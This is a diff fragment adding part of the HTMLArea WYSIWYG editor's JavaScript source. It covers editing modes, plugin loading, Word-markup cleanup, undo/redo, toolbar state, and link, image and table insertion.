+ setTimeout(function() {
+ editor.updateToolbar();
+ }, 250);
+
+ if (typeof editor.onGenerate == "function")
+ editor.onGenerate();
+ };
+ setTimeout(initIframe, 100);
+};
+
+// Switches editor mode; parameter can be "textmode" or "wysiwyg". If no
+// parameter was passed this function toggles between modes.
+HTMLArea.prototype.setMode = function(mode) {
+ if (typeof mode == "undefined") {
+ mode = ((this._editMode == "textmode") ? "wysiwyg" : "textmode");
+ }
+ switch (mode) {
+ case "textmode":
+ this._textArea.value = this.getHTML();
+ this._iframe.style.display = "none";
+ this._textArea.style.display = "block";
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = HTMLArea.I18N.msg["TEXT_MODE"];
+ }
+ break;
+ case "wysiwyg":
+ if (HTMLArea.is_gecko) {
+ // disable design mode before changing innerHTML
+ try {
+ this._doc.designMode = "off";
+ } catch(e) {};
+ }
+ if (!this.config.fullPage)
+ this._doc.body.innerHTML = this.getHTML();
+ else
+ this.setFullHTML(this.getHTML());
+ this._iframe.style.display = "block";
+ this._textArea.style.display = "none";
+ if (HTMLArea.is_gecko) {
+ // we need to refresh that info for Moz-1.3a
+ try {
+ this._doc.designMode = "on";
+ } catch(e) {};
+ }
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = '';
+ this._statusBar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ this._statusBar.appendChild(this._statusBarTree);
+ }
+ break;
+ default:
+ alert("Mode <" + mode + "> not defined!");
+ return false;
+ }
+ this._editMode = mode;
+ this.focusEditor();
+
+ for (var i in this.plugins) {
+ var plugin = this.plugins[i].instance;
+ if (typeof plugin.onMode == "function") plugin.onMode(mode);
+ }
+};
+
+HTMLArea.prototype.setFullHTML = function(html) {
+ var save_multiline = RegExp.multiline;
+ RegExp.multiline = true;
+ if (html.match(HTMLArea.RE_doctype)) {
+ this.setDoctype(RegExp.$1);
+ html = html.replace(HTMLArea.RE_doctype, "");
+ }
+ RegExp.multiline = save_multiline;
+ if (!HTMLArea.is_ie) {
+ if (html.match(HTMLArea.RE_head))
+ this._doc.getElementsByTagName("head")[0].innerHTML = RegExp.$1;
+ if (html.match(HTMLArea.RE_body))
+ this._doc.getElementsByTagName("body")[0].innerHTML = RegExp.$1;
+ } else {
+ var html_re = /<html>((.|\n)*?)<\/html>/i;
+ html = html.replace(html_re, "$1");
+ this._doc.open();
+ this._doc.write(html);
+ this._doc.close();
+ this._doc.body.contentEditable = true;
+ return true;
+ }
+};
+
+/***************************************************
+ * Category: PLUGINS
+ ***************************************************/
+
+// this is the variant of the function above where the plugin arguments are
+// already packed in an array. Externally, it should be only used in the
+// full-screen editor code, in order to initialize plugins with the same
+// parameters as in the opener window.
+HTMLArea.prototype.registerPlugin2 = function(plugin, args) {
+ if (typeof plugin == "string")
+ plugin = eval(plugin);
+ if (typeof plugin == "undefined") {
+ /* FIXME: This should never happen. But why does it do? */
+ return false;
+ }
+ var obj = new plugin(this, args);
+ if (obj) {
+ var clone = {};
+ var info = plugin._pluginInfo;
+ for (var i in info)
+ clone[i] = info[i];
+ clone.instance = obj;
+ clone.args = args;
+ this.plugins[plugin._pluginInfo.name] = clone;
+ } else
+ alert("Can't register plugin " + plugin.toString() + ".");
+};
+
+// Create the specified plugin and register it with this HTMLArea
+HTMLArea.prototype.registerPlugin = function() {
+ var plugin = arguments[0];
+ var args = [];
+ for (var i = 1; i < arguments.length; ++i)
+ args.push(arguments[i]);
+ this.registerPlugin2(plugin, args);
+};
+
+// static function that loads the required plugin and lang file, based on the
+// language loaded already for HTMLArea. You better make sure that the plugin
+// _has_ that language, otherwise shit might happen ;-)
+HTMLArea.loadPlugin = function(pluginName) {
+ var dir = _editor_url + "plugins/" + pluginName;
+ var plugin = pluginName.replace(/([a-z])([A-Z])([a-z])/g,
+ function (str, l1, l2, l3) {
+ return l1 + "-" + l2.toLowerCase() + l3;
+ }).toLowerCase() + ".js";
+ var plugin_file = dir + "/" + plugin;
+ var plugin_lang = dir + "/lang/" + HTMLArea.I18N.lang + ".js";
+ HTMLArea._scripts.push(plugin_file, plugin_lang);
+ document.write("<script type='text/javascript' src='" + plugin_file + "'></script>");
+ document.write("<script type='text/javascript' src='" + plugin_lang + "'></script>");
+};
+
+HTMLArea.loadStyle = function(style, plugin) {
+ var url = _editor_url || '';
+ if (typeof plugin != "undefined") {
+ url += "plugins/" + plugin + "/";
+ }
+ url += style;
+ document.write("<style type='text/css'>@import url(" + url + ");</style>");
+};
+HTMLArea.loadStyle("htmlarea.css");
+
+/***************************************************
+ * Category: EDITOR UTILITIES
+ ***************************************************/
+
+// The following function is a slight variation of the word cleaner code posted
+// by Weeezl (user @ InteractiveTools forums).
+HTMLArea.prototype._wordClean = function() {
+ var D = this.getInnerHTML();
+ if (D.indexOf('class=Mso') >= 0) {
+
+ // make one line
+ D = D.replace(/\r\n/g, ' ').
+ replace(/\n/g, ' ').
+ replace(/\r/g, ' ').
+ replace(/\ \;/g,' ');
+
+ // keep tags, strip attributes
+ D = D.replace(/ class=[^\s|>]*/gi,'').
+ //replace(/<p [^>]*TEXT-ALIGN: justify[^>]*>/gi,'<p align="justify">').
+ replace(/ style=\"[^>]*\"/gi,'').
+ replace(/ align=[^\s|>]*/gi,'');
+
+ //clean up tags
+ D = D.replace(/<b [^>]*>/gi,'<b>').
+ replace(/<i [^>]*>/gi,'<i>').
+ replace(/<li [^>]*>/gi,'<li>').
+ replace(/<ul [^>]*>/gi,'<ul>');
+
+ // replace outdated tags
+ D = D.replace(/<b>/gi,'<strong>').
+ replace(/<\/b>/gi,'</strong>');
+
+ // mozilla doesn't like <em> tags
+ D = D.replace(/<em>/gi,'<i>').
+ replace(/<\/em>/gi,'</i>');
+
+ // kill unwanted tags
+ D = D.replace(/<\?xml:[^>]*>/g, ''). // Word xml
+ replace(/<\/?st1:[^>]*>/g,''). // Word SmartTags
+ replace(/<\/?[a-z]\:[^>]*>/g,''). // All other funny Word non-HTML stuff
+ replace(/<\/?font[^>]*>/gi,''). // Disable if you want to keep font formatting
+ replace(/<\/?span[^>]*>/gi,' ').
+ replace(/<\/?div[^>]*>/gi,' ').
+ replace(/<\/?pre[^>]*>/gi,' ').
+ replace(/<\/?h[1-6][^>]*>/gi,' ');
+
+ //remove empty tags
+ //D = D.replace(/<strong><\/strong>/gi,'').
+ //replace(/<i><\/i>/gi,'').
+ //replace(/<P[^>]*><\/P>/gi,'');
+
+ // nuke double tags
+ oldlen = D.length + 1;
+ while(oldlen > D.length) {
+ oldlen = D.length;
+ // join us now and free the tags, we'll be free hackers, we'll be free... ;-)
+ D = D.replace(/<([a-z][a-z]*)> *<\/\1>/gi,' ').
+ replace(/<([a-z][a-z]*)> *<([a-z][^>]*)> *<\/\1>/gi,'<$2>');
+ }
+ D = D.replace(/<([a-z][a-z]*)><\1>/gi,'<$1>').
+ replace(/<\/([a-z][a-z]*)><\/\1>/gi,'<\/$1>');
+
+ // nuke double spaces
+ D = D.replace(/ */gi,' ');
+
+ this.setHTML(D);
+ this.updateToolbar();
+ }
+};
+
+HTMLArea.prototype.forceRedraw = function() {
+ this._doc.body.style.visibility = "hidden";
+ this._doc.body.style.visibility = "visible";
+ // this._doc.body.innerHTML = this.getInnerHTML();
+};
+
+// focuses the iframe window. returns a reference to the editor document.
+HTMLArea.prototype.focusEditor = function() {
+ switch (this._editMode) {
+ // notice the try { ... } catch block to avoid some rare exceptions in FireFox
+ // (perhaps also in other Gecko browsers). Manual focus by user is required in
+ // case of an error. Somebody has an idea?
+ case "wysiwyg" : try { this._iframe.contentWindow.focus() } catch (e) {} break;
+ case "textmode": try { this._textArea.focus() } catch (e) {} break;
+ default : alert("ERROR: mode " + this._editMode + " is not defined");
+ }
+ return this._doc;
+};
+
+// takes a snapshot of the current text (for undo)
+HTMLArea.prototype._undoTakeSnapshot = function() {
+ ++this._undoPos;
+ if (this._undoPos >= this.config.undoSteps) {
+ // remove the first element
+ this._undoQueue.shift();
+ --this._undoPos;
+ }
+ // use the fasted method (getInnerHTML);
+ var take = true;
+ var txt = this.getInnerHTML();
+ if (this._undoPos > 0)
+ take = (this._undoQueue[this._undoPos - 1] != txt);
+ if (take) {
+ this._undoQueue[this._undoPos] = txt;
+ } else {
+ this._undoPos--;
+ }
+};
+
+HTMLArea.prototype.undo = function() {
+ if (this._undoPos > 0) {
+ var txt = this._undoQueue[--this._undoPos];
+ if (txt) this.setHTML(txt);
+ else ++this._undoPos;
+ }
+};
+
+HTMLArea.prototype.redo = function() {
+ if (this._undoPos < this._undoQueue.length - 1) {
+ var txt = this._undoQueue[++this._undoPos];
+ if (txt) this.setHTML(txt);
+ else --this._undoPos;
+ }
+};
+
+// updates enabled/disable/active state of the toolbar elements
+HTMLArea.prototype.updateToolbar = function(noStatus) {
+ var doc = this._doc;
+ var text = (this._editMode == "textmode");
+ var ancestors = null;
+ if (!text) {
+ ancestors = this.getAllAncestors();
+ if (this.config.statusBar && !noStatus) {
+ this._statusBarTree.innerHTML = HTMLArea.I18N.msg["Path"] + ": "; // clear
+ for (var i = ancestors.length; --i >= 0;) {
+ var el = ancestors[i];
+ if (!el) {
+ // hell knows why we get here; this
+ // could be a classic example of why
+ // it's good to check for conditions
+ // that are impossible to happen ;-)
+ continue;
+ }
+ var a = document.createElement("a");
+ a.href = "#";
+ a.el = el;
+ a.editor = this;
+ a.onclick = function() {
+ this.blur();
+ this.editor.selectNodeContents(this.el);
+ this.editor.updateToolbar(true);
+ return false;
+ };
+ a.oncontextmenu = function() {
+ // TODO: add context menu here
+ this.blur();
+ var info = "Inline style:\n\n";
+ info += this.el.style.cssText.split(/;\s*/).join(";\n");
+ alert(info);
+ return false;
+ };
+ var txt = el.tagName.toLowerCase();
+ a.title = el.style.cssText;
+ if (el.id) {
+ txt += "#" + el.id;
+ }
+ if (el.className) {
+ txt += "." + el.className;
+ }
+ a.appendChild(document.createTextNode(txt));
+ this._statusBarTree.appendChild(a);
+ if (i != 0) {
+ this._statusBarTree.appendChild(document.createTextNode(String.fromCharCode(0xbb)));
+ }
+ }
+ }
+ }
+
+ for (var i in this._toolbarObjects) {
+ var btn = this._toolbarObjects[i];
+ var cmd = i;
+ var inContext = true;
+ if (btn.context && !text) {
+ inContext = false;
+ var context = btn.context;
+ var attrs = [];
+ if (/(.*)\[(.*?)\]/.test(context)) {
+ context = RegExp.$1;
+ attrs = RegExp.$2.split(",");
+ }
+ context = context.toLowerCase();
+ var match = (context == "*");
+ for (var k in ancestors) {
+ if (!ancestors[k]) {
+ // the impossible really happens.
+ continue;
+ }
+ if (match || (ancestors[k].tagName.toLowerCase() == context)) {
+ inContext = true;
+ for (var ka in attrs) {
+ if (!eval("ancestors[k]." + attrs[ka])) {
+ inContext = false;
+ break;
+ }
+ }
+ if (inContext) {
+ break;
+ }
+ }
+ }
+ }
+ btn.state("enabled", (!text || btn.text) && inContext);
+ if (typeof cmd == "function") {
+ continue;
+ }
+ // look-it-up in the custom dropdown boxes
+ var dropdown = this.config.customSelects[cmd];
+ if ((!text || btn.text) && (typeof dropdown != "undefined")) {
+ dropdown.refresh(this);
+ continue;
+ }
+ switch (cmd) {
+ case "fontname":
+ case "fontsize":
+ case "formatblock":
+ if (!text) try {
+ var value = ("" + doc.queryCommandValue(cmd)).toLowerCase();
+ if (!value) {
+ // FIXME: what do we do here?
+ break;
+ }
+ // HACK -- retrieve the config option for this
+ // combo box. We rely on the fact that the
+ // variable in config has the same name as
+ // button name in the toolbar.
+ var options = this.config[cmd];
+ var k = 0;
+ // btn.element.selectedIndex = 0;
+ for (var j in options) {
+ // FIXME: the following line is scary.
+ if ((j.toLowerCase() == value) ||
+ (options[j].substr(0, value.length).toLowerCase() == value)) {
+ btn.element.selectedIndex = k;
+ break;
+ }
+ ++k;
+ }
+ } catch(e) {};
+ break;
+ case "textindicator":
+ if (!text) {
+ try {with (btn.element.style) {
+ backgroundColor = HTMLArea._makeColor(
+ doc.queryCommandValue(HTMLArea.is_ie ? "backcolor" : "hilitecolor"));
+ if (/transparent/i.test(backgroundColor)) {
+ // Mozilla
+ backgroundColor = HTMLArea._makeColor(doc.queryCommandValue("backcolor"));
+ }
+ color = HTMLArea._makeColor(doc.queryCommandValue("forecolor"));
+ fontFamily = doc.queryCommandValue("fontname");
+ fontWeight = doc.queryCommandState("bold") ? "bold" : "normal";
+ fontStyle = doc.queryCommandState("italic") ? "italic" : "normal";
+ }} catch (e) {
+ // alert(e + "\n\n" + cmd);
+ }
+ }
+ break;
+ case "htmlmode": btn.state("active", text); break;
+ case "lefttoright":
+ case "righttoleft":
+ var el = this.getParentElement();
+ while (el && !HTMLArea.isBlockElement(el))
+ el = el.parentNode;
+ if (el)
+ btn.state("active", (el.style.direction == ((cmd == "righttoleft") ? "rtl" : "ltr")));
+ break;
+ default:
+ cmd = cmd.replace(/(un)?orderedlist/i, "insert$1orderedlist");
+ try {
+ btn.state("active", (!text && doc.queryCommandState(cmd)));
+ } catch (e) {}
+ }
+ }
+ // take undo snapshots
+ if (this._customUndo && !this._timerUndo) {
+ this._undoTakeSnapshot();
+ var editor = this;
+ this._timerUndo = setTimeout(function() {
+ editor._timerUndo = null;
+ }, this.config.undoTimeout);
+ }
+
+ // check if any plugins have registered refresh handlers
+ for (var i in this.plugins) {
+ var plugin = this.plugins[i].instance;
+ if (typeof plugin.onUpdateToolbar == "function")
+ plugin.onUpdateToolbar();
+ }
+};
+
+/** Returns a node after which we can insert other nodes, in the current
+ * selection. The selection is removed. It splits a text node, if needed.
+ */
+HTMLArea.prototype.insertNodeAtSelection = function(toBeInserted) {
+ if (!HTMLArea.is_ie) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ // remove the current selection
+ sel.removeAllRanges();
+ range.deleteContents();
+ var node = range.startContainer;
+ var pos = range.startOffset;
+ switch (node.nodeType) {
+ case 3: // Node.TEXT_NODE
+ // we have to split it at the caret position.
+ if (toBeInserted.nodeType == 3) {
+ // do optimized insertion
+ node.insertData(pos, toBeInserted.data);
+ range = this._createRange();
+ range.setEnd(node, pos + toBeInserted.length);
+ range.setStart(node, pos + toBeInserted.length);
+ sel.addRange(range);
+ } else {
+ node = node.splitText(pos);
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.parentNode.insertBefore(toBeInserted, node);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ }
+ break;
+ case 1: // Node.ELEMENT_NODE
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.insertBefore(toBeInserted, node.childNodes[pos]);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ break;
+ }
+ } else {
+ return null; // this function not yet used for IE <FIXME>
+ }
+};
+
+// Returns the deepest node that contains both endpoints of the selection.
+HTMLArea.prototype.getParentElement = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ switch (sel.type) {
+ case "Text":
+ case "None":
+ // It seems that even for selection of type "None",
+ // there _is_ a parent element and it's value is not
+ // only correct, but very important to us. MSIE is
+ // certainly the buggiest browser in the world and I
+ // wonder, God, how can Earth stand it?
+ return range.parentElement();
+ case "Control":
+ return range.item(0).parentElement;
+ default:
+ return this._doc.body;
+ }
+ } else try {
+ var p = range.commonAncestorContainer;
+ //alert(p);
+ if (!range.collapsed && range.startContainer == range.endContainer &&
+ range.startOffset - range.endOffset <= 1 && range.startContainer.hasChildNodes())
+ {
+ // p = range.startContainer.childNodes[range.startOffset];
+ }
+ /*
+ alert(range.startContainer + ":" + range.startOffset + "\n" +
+ range.endContainer + ":" + range.endOffset);
+ */
+ while (p.nodeType == 3) {
+ p = p.parentNode;
+ }
+ return p;
+ } catch (e) {
+ return null;
+ }
+};
+
+// Returns an array with all the ancestor nodes of the selection.
+HTMLArea.prototype.getAllAncestors = function() {
+ var p = this.getParentElement();
+ var a = [];
+ while (p && (p.nodeType == 1) && (p.tagName.toLowerCase() != 'body')) {
+ a.push(p);
+ p = p.parentNode;
+ }
+ a.push(this._doc.body);
+ return a;
+};
+
+// Selects the contents inside the given node
+HTMLArea.prototype.selectNodeContents = function(node, pos) {
+ this.focusEditor();
+ this.forceRedraw();
+ var range;
+ var collapsed = (typeof pos != "undefined");
+ if (HTMLArea.is_ie) {
+ range = this._doc.body.createTextRange();
+ range.moveToElementText(node);
+ (collapsed) && range.collapse(pos);
+ range.select();
+ } else {
+ var sel = this._getSelection();
+ range = this._doc.createRange();
+ range.selectNodeContents(node);
+ (collapsed) && range.collapse(pos);
+ sel.removeAllRanges();
+ sel.addRange(range);
+ }
+};
+
+/** Call this function to insert HTML code at the current position. It deletes
+ * the selection, if any.
+ */
+HTMLArea.prototype.insertHTML = function(html) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(html);
+ } else {
+ // construct a new document fragment with the given HTML
+ var fragment = this._doc.createDocumentFragment();
+ var div = this._doc.createElement("div");
+ div.innerHTML = html;
+ while (div.firstChild) {
+ // the following call also removes the node from div
+ fragment.appendChild(div.firstChild);
+ }
+ // this also removes the selection
+ var node = this.insertNodeAtSelection(fragment);
+ }
+};
+
+/**
+ * Call this function to surround the existing HTML code in the selection with
+ * your tags. FIXME: buggy! This function will be deprecated "soon".
+ */
+HTMLArea.prototype.surroundHTML = function(startTag, endTag) {
+ var html = this.getSelectedHTML();
+ // the following also deletes the selection
+ this.insertHTML(startTag + html + endTag);
+};
+
+/// Retrieve the selected block
+HTMLArea.prototype.getSelectedHTML = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var existing = null;
+ if (HTMLArea.is_ie) {
+ existing = range.htmlText;
+ } else {
+ existing = HTMLArea.getHTML(range.cloneContents(), false, this);
+ }
+ return existing;
+};
+
+/// Return true if we have some selection
+HTMLArea.prototype.hasSelectedText = function() {
+ // FIXME: come _on_ mishoo, you can do better than this ;-)
+ return this.getSelectedHTML() != '';
+};
+
+HTMLArea.prototype._createLink = function(link) {
+ var editor = this;
+ var outparam = null;
+ if (typeof link == "undefined") {
+ link = this.getParentElement();
+ //alert(link);
+ if (link && !/^a$/i.test(link.tagName))
+ link = null;
+ }
+ if (link) outparam = {
+ f_href : HTMLArea.is_ie ? editor.stripBaseURL(link.href) : link.getAttribute("href"),
+ f_title : link.title,
+ f_target : link.target
+ };
+ this._popupDialog("link.html", function(param) {
+ if (!param)
+ return false;
+ var a = link;
+ if (!a) try {
+ editor._doc.execCommand("createlink", false, param.f_href);
+ a = editor.getParentElement();
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ if (!HTMLArea.is_ie) {
+ a = range.startContainer;
+ if (!/^a$/i.test(a.tagName)) {
+ a = a.nextSibling;
+ if (a == null)
+ a = range.startContainer.parentNode;
+ }
+ }
+ } catch(e) {}
+ else {
+ var href = param.f_href.trim();
+ editor.selectNodeContents(a);
+ if (href == "") {
+ editor._doc.execCommand("unlink", false, null);
+ editor.updateToolbar();
+ return false;
+ }
+ else {
+ a.href = href;
+ }
+ }
+ if (!(a && /^a$/i.test(a.tagName)))
+ return false;
+ a.target = param.f_target.trim();
+ a.title = param.f_title.trim();
+ editor.selectNodeContents(a);
+ editor.updateToolbar();
+ }, outparam);
+};
+
+// Called when the user clicks on "InsertImage" button. If an image is already
+// there, it will just modify it's properties.
+HTMLArea.prototype._insertImage = function(image) {
+ var editor = this; // for nested functions
+ var outparam = null;
+ if (typeof image == "undefined") {
+ image = this.getParentElement();
+ if (image && !/^img$/i.test(image.tagName))
+ image = null;
+ }
+ if (image) outparam = {
+ f_url : HTMLArea.is_ie ? editor.stripBaseURL(image.src) : image.getAttribute("src"),
+ f_alt : image.alt,
+ f_border : image.border,
+ f_align : image.align,
+ f_vert : image.vspace,
+ f_horiz : image.hspace
+ };
+ this._popupDialog("insert_image.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var img = image;
+ if (!img) {
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param.f_url);
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ } else {
+ img.src = param.f_url;
+ }
+
+ for (field in param) {
+ var value = param[field];
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value || "0"); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value || "0"); break;
+ case "f_horiz" : img.hspace = parseInt(value || "0"); break;
+ }
+ }
+ }, outparam);
+};
+
+// Called when the user clicks the Insert Table button
+HTMLArea.prototype._insertTable = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var editor = this; // for nested functions
+ this._popupDialog("insert_table.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var doc = editor._doc;
+ // create the table element
+ var table = doc.createElement("table");
+ // assign the given arguments
+
+ for (var field in param) {
+ var value = param[field];
+ if (!value) {
+ continue;
+ }
+ switch (field) {
+ case "f_width" : table.style.width = value + param["f_unit"]; break;
+ case "f_align" : table.align = value; break;
+ case "f_border" : table.border = parseInt(value); break;
+ case "f_spacing" : table.cellSpacing = parseInt(value); break;
+ case "f_padding" : table.cellPadding = parseInt(value); break;
+ }
+ }
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ for (var i = 0; i < param["f_rows"]; ++i) {
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ for (var j = 0; j < param["f_cols"]; ++j) {
+ var td = doc.createElement("td");
+ tr.appendChild(td);
+ // Mozilla likes to see something inside the cell.
+ (HTMLArea.is_gecko) && td.appendChild(doc.createElement("br"));
+ }
+ }
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(table.outerHTML);
+ } else {
+ // insert the table
+ editor.insertNodeAtSelection(table);
+ }
+ return true;
+ }, null);
+};
+
+/***************************************************
+ * Category: EVENT HANDLERS
+ ***************************************************/
+
+// el is reference to the SELECT object
+// txt is the name of the select field, as in config.toolbar
+HTMLArea.prototype._comboSelected = function(el, txt) {
+ this.focusEditor();
+ var value = el.options[el.selectedIndex].value;
+ switch (txt) {
+ case "fontname":
+ case "fontsize": this.execCommand(txt, false, value); break;
+ case "formatblock":
+ (HTMLArea.is_ie) && (value = "<" + value + ">");
+ this.execCommand(txt, false, value);
+ break;
+ default:
+ // try to look it up in the registered dropdowns
+ var dropdown = this.config.customSelects[txt];
+ if (typeof dropdown != "undefined") {
+ dropdown.action(this);
+ } else {
+ alert("FIXME: combo box " + txt + " not implemented");
+ }
+ }
+};
+
+// the execCommand function (intercepts some commands and replaces them with
+// our own implementation)
+HTMLArea.prototype.execCommand = function(cmdID, UI, param) {
+ var editor = this; // for nested functions
+ this.focusEditor();
+ cmdID = cmdID.toLowerCase();
+ switch (cmdID) {
+ case "htmlmode" : this.setMode(); break;
+ case "hilitecolor":
+ (HTMLArea.is_ie) && (cmdID = "backcolor");
+ case "forecolor":
+ this._popupDialog("select_color.html", function(color) {
+ if (color) { // selection not canceled
+ editor._doc.execCommand(cmdID, false, "#" + color);
+ }
+ }, HTMLArea._colorToRgb(this._doc.queryCommandValue(cmdID)));
+ break;
+ case "createlink":
+ this._createLink();
+ break;
+ case "popupeditor":
+ // this object will be passed to the newly opened window
+ HTMLArea._object = this;
+ if (HTMLArea.is_ie) {
+ //if (confirm(HTMLArea.I18N.msg["IE-sucks-full-screen"]))
+ {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=640,height=480");
+ }
+ } else {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,menubar=no,personalbar=no,width=640,height=480," +
+ "scrollbars=no,resizable=yes");
+ }
+ break;
+ case "undo":
+ case "redo":
+ if (this._customUndo)
+ this[cmdID]();
+ else
+ this._doc.execCommand(cmdID, UI, param);
+ break;
+ case "inserttable": this._insertTable(); break;
+ case "insertimage": this._insertImage(); break;
+ case "about" : this._popupDialog("about.html", null, this); break;
+ case "showhelp" : window.open(_editor_url + "reference.html", "ha_help"); break;
+
+ case "killword": this._wordClean(); break;
+
+ case "cut":
+ case "copy":
+ case "paste":
+ try {
+ this._doc.execCommand(cmdID, UI, param);
+ if (this.config.killWordOnPaste)
+ this._wordClean();
+ } catch (e) {
+ if (HTMLArea.is_gecko) {
+ if (typeof HTMLArea.I18N.msg["Moz-Clipboard"] == "undefined") {
+ HTMLArea.I18N.msg["Moz-Clipboard"] =
+ "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+ "for security reasons. Click OK to see a technical note at mozilla.org " +
+ "which shows you how to allow a script to access the clipboard.\n\n" +
+ "[FIXME: please translate this message in your language definition file.]";
+ }
+ if (confirm(HTMLArea.I18N.msg["Moz-Clipboard"]))
+ window.open("http://mozilla.org/editor/midasdemo/securityprefs.html");
+ }
+ }
+ break;
+ case "lefttoright":
+ case "righttoleft":
+ var dir = (cmdID == "righttoleft") ? "rtl" : "ltr";
+ var el = this.getParentElement();
+ while (el && !HTMLArea.isBlockElement(el))
+ el = el.parentNode;
+ if (el) {
+ if (el.style.direction == dir)
+ el.style.direction = "";
+ else
+ el.style.direction = dir;
+ }
+ break;
+ default: this._doc.execCommand(cmdID, UI, param);
+ }
+ this.updateToolbar();
+ return false;
+};
+
+/** A generic event handler for things that happen in the IFRAME's document.
+ * This function also handles key bindings. */
+HTMLArea.prototype._editorEvent = function(ev) {
+ var editor = this;
+ var keyEvent = (HTMLArea.is_ie && ev.type == "keydown") || (ev.type == "keypress");
+
+ if (keyEvent) {
+ for (var i in editor.plugins) {
+ var plugin = editor.plugins[i].instance;
+ if (typeof plugin.onKeyPress == "function") plugin.onKeyPress(ev);
+ }
+ }
+ if (keyEvent && ev.ctrlKey && !ev.altKey) {
+ var sel = null;
+ var range = null;
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ var cmd = null;
+ var value = null;
+ switch (key) {
+ case 'a':
+ if (!HTMLArea.is_ie) {
+ // KEY select all
+ sel = this._getSelection();
+ sel.removeAllRanges();
+ range = this._createRange();
+ range.selectNodeContents(this._doc.body);
+ sel.addRange(range);
+ HTMLArea._stopEvent(ev);
+ }
+ break;
+
+ // simple key commands follow
+
+ case 'b': cmd = "bold"; break;
+ case 'i': cmd = "italic"; break;
+ case 'u': cmd = "underline"; break;
+ case 's': cmd = "strikethrough"; break;
+ case 'l': cmd = "justifyleft"; break;
+ case 'e': cmd = "justifycenter"; break;
+ case 'r': cmd = "justifyright"; break;
+ case 'j': cmd = "justifyfull"; break;
+ case 'z': cmd = "undo"; break;
+ case 'y': cmd = "redo"; break;
+ case 'v': cmd = "paste"; break;
+
+ case '0': cmd = "killword"; break;
+
+ // headings
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ cmd = "formatblock";
+ value = "h" + key;
+ if (HTMLArea.is_ie) {
+ value = "<" + value + ">";
+ }
+ break;
+ }
+ if (cmd) {
+ // execute simple command
+ this.execCommand(cmd, false, value);
+ HTMLArea._stopEvent(ev);
+ }
+ }
+ /*
+ else if (keyEvent) {
+ // other keys here
+ switch (ev.keyCode) {
+ case 13: // KEY enter
+ // if (HTMLArea.is_ie) {
+ this.insertHTML("<br />");
+ HTMLArea._stopEvent(ev);
+ // }
+ break;
+ }
+ }
+ */
+ // update the toolbar state after some time
+ if (editor._timerToolbar) {
+ clearTimeout(editor._timerToolbar);
+ }
+ editor._timerToolbar = setTimeout(function() {
+ editor.updateToolbar();
+ editor._timerToolbar = null;
+ }, 50);
+};
+
+// retrieve the HTML
+HTMLArea.prototype.getHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage) {
+ return HTMLArea.getHTML(this._doc.body, false, this);
+ } else
+ return this.doctype + "\n" + HTMLArea.getHTML(this._doc.documentElement, true, this);
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// retrieve the HTML (fastest version, but uses innerHTML)
+HTMLArea.prototype.getInnerHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage)
+ return this._doc.body.innerHTML;
+ else
+ return this.doctype + "\n" + this._doc.documentElement.innerHTML;
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// completely change the HTML inside
+HTMLArea.prototype.setHTML = function(html) {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage)
+ this._doc.body.innerHTML = html;
+ else
+ // this._doc.documentElement.innerHTML = html;
+ this._doc.body.innerHTML = html;
+ break;
+ case "textmode" : this._textArea.value = html; break;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// sets the given doctype (useful when config.fullPage is true)
+HTMLArea.prototype.setDoctype = function(doctype) {
+ this.doctype = doctype;
+};
+
+/***************************************************
+ * Category: UTILITY FUNCTIONS
+ ***************************************************/
+
+// browser identification
+
+HTMLArea.agt = navigator.userAgent.toLowerCase();
+HTMLArea.is_ie = ((HTMLArea.agt.indexOf("msie") != -1) && (HTMLArea.agt.indexOf("opera") == -1));
+HTMLArea.is_opera = (HTMLArea.agt.indexOf("opera") != -1);
+HTMLArea.is_mac = (HTMLArea.agt.indexOf("mac") != -1);
